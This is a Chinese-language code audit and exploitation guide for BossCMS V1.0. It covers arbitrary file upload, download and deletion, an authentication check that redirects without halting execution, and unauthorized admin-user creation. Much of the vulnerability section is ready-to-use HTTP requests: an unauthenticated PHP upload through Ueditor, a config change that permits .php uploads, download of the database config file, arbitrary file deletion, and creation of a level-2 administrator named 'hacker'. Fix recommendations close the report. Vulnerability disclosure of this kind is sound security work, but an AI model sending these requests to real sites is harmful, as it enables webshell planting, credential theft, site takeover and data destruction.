某CMSV1.0代码审计
字数 1696 2025-08-29 08:30:36
BossCMS V1.0 代码审计报告与漏洞利用指南
1. 系统概述
BossCMS V1.0 是一款内容管理系统,审计发现存在多个高危漏洞,包括:
- 后台任意文件上传
- 后台任意文件下载
- 后台任意文件删除
- 未授权访问漏洞
- 未授权用户操作漏洞
2. 漏洞详情与利用方法
2.1 后台任意文件上传漏洞
漏洞位置:
/system/basic/class/upload.class.php/system/extend/ueditor/php/ueditor.class.php
利用条件:
- 拥有后台管理员权限
- Ueditor编辑器可用
利用步骤:
-
修改上传配置:
- 访问后台安全设置页面:
http://bosscms/admin/#safe - 在"允许上传类型"中添加
.php扩展名并保存
- 访问后台安全设置页面:
-
通过Ueditor上传PHP文件:
- 定位到Ueditor的附件上传功能
- 上传PHP木马文件(如
<?php phpinfo();?>)
-
获取Webshell路径:
- 上传成功后右键"打开新链接"获取文件路径
- 直接访问该路径即可执行PHP代码
技术原理:
upload.class.php中$extension变量从系统配置获取- 通过修改
upload_extension配置项可添加危险文件类型 - Ueditor调用
files()函数时指定code类型绕过上传限制
2.2 后台任意文件下载漏洞
漏洞位置:
/system/admin/safe/backup.class.php中的download方法
利用方法:
http://bosscms/admin/?mold=safe&part=backup&func=download&id=index.php
可下载敏感文件:
/system/basic/ini/mysql.ini.php(数据库配置文件)- 任意系统或应用文件
调用链分析:
/admin/index.php入口- 加载
/system/enter.php - 调用
/system/basic/class/into.class.php中的load_class - 动态调用
backup类的download方法
2.3 后台任意文件删除漏洞
漏洞位置:
/system/admin/safe/backup.class.php中的delete方法
利用方法:
POST /admin/?mold=safe&part=backup&func=delete&id=test.txt HTTP/1.1
Host: bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYe2EcUgaamtd4Xnh
------WebKitFormBoundaryYe2EcUgaamtd4Xnh
Content-Disposition: form-data; name="url"
1
------WebKitFormBoundaryYe2EcUgaamtd4Xnh--
影响:
- 可删除任意系统文件导致服务中断
- 可删除网站关键文件实现破坏性攻击
2.4 未授权访问漏洞
漏洞根源:
/system/basic/class/admin.class.php中的init函数- 验证失败后仅使用
header跳转而未终止程序执行
利用方法:
-
未授权文件下载:
- 直接访问下载链接,在跳转前可获取文件内容
-
未授权文件删除:
- 构造删除请求,服务器会先执行删除操作再跳转
-
未授权文件上传:
- 直接访问Ueditor上传接口:
POST /system/extend/ueditor/php/controller.php?action=uploadfile HTTP/1.1 Host: bosscms Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvwjLJGiYAdfklq31 ------WebKitFormBoundaryvwjLJGiYAdfklq31 Content-Disposition: form-data; name="upfile"; filename="test.php" Content-Type: image/png <?php phpinfo();?> ------WebKitFormBoundaryvwjLJGiYAdfklq31-- -
未授权修改上传配置:
- 利用
/system/admin/safe/safe.class.php中的add方法
POST /admin/?mold=safe&part=safe&func=add HTTP/1.1 Host: bosscms Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLNKwhkxPkcJiHO5I ------WebKitFormBoundaryLNKwhkxPkcJiHO5I Content-Disposition: form-data; name="upload_extension" [".jpg",".png",".php"] ------WebKitFormBoundaryLNKwhkxPkcJiHO5I-- - 利用
2.5 未授权用户操作漏洞
漏洞位置:
/system/admin/manager/manager.class.php中的add、edit、delete方法
添加管理员用户:
POST /admin/?mold=manager&part=manager&func=add HTTP/1.1
Host: bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB067fgIWBKtHI4Gy
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="username"
hacker
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="password"
hacker123
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="passwords"
hacker123
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="level"
2
------WebKitFormBoundaryB067fgIWBKtHI4Gy--
权限说明:
- level=2 表示系统管理员权限
- 可配合permit参数设置具体权限
3. 漏洞修复建议
-
输入验证:
- 对所有用户输入进行严格过滤
- 文件操作应限制在指定目录
- 文件扩展名应使用白名单机制
-
权限控制:
- 关键操作需进行CSRF防护
- 增加操作日志记录
- 实现完善的RBAC权限模型
-
会话管理:
- 验证失败后立即终止程序执行
- 使用
exit()或die()配合header跳转 - 增加二次验证机制
-
安全配置:
- 限制上传文件类型
- 禁用危险的文件操作功能
- 定期更新系统和组件
4. 总结
BossCMS V1.0存在严重的安全缺陷,主要问题包括:
- 缺乏足够的输入验证
- 权限控制体系不完善
- 关键操作未进行充分防护
- 会话管理存在逻辑缺陷
攻击者可利用这些漏洞实现从任意文件操作到完全控制系统的攻击链。建议用户立即升级到最新版本或应用相关补丁。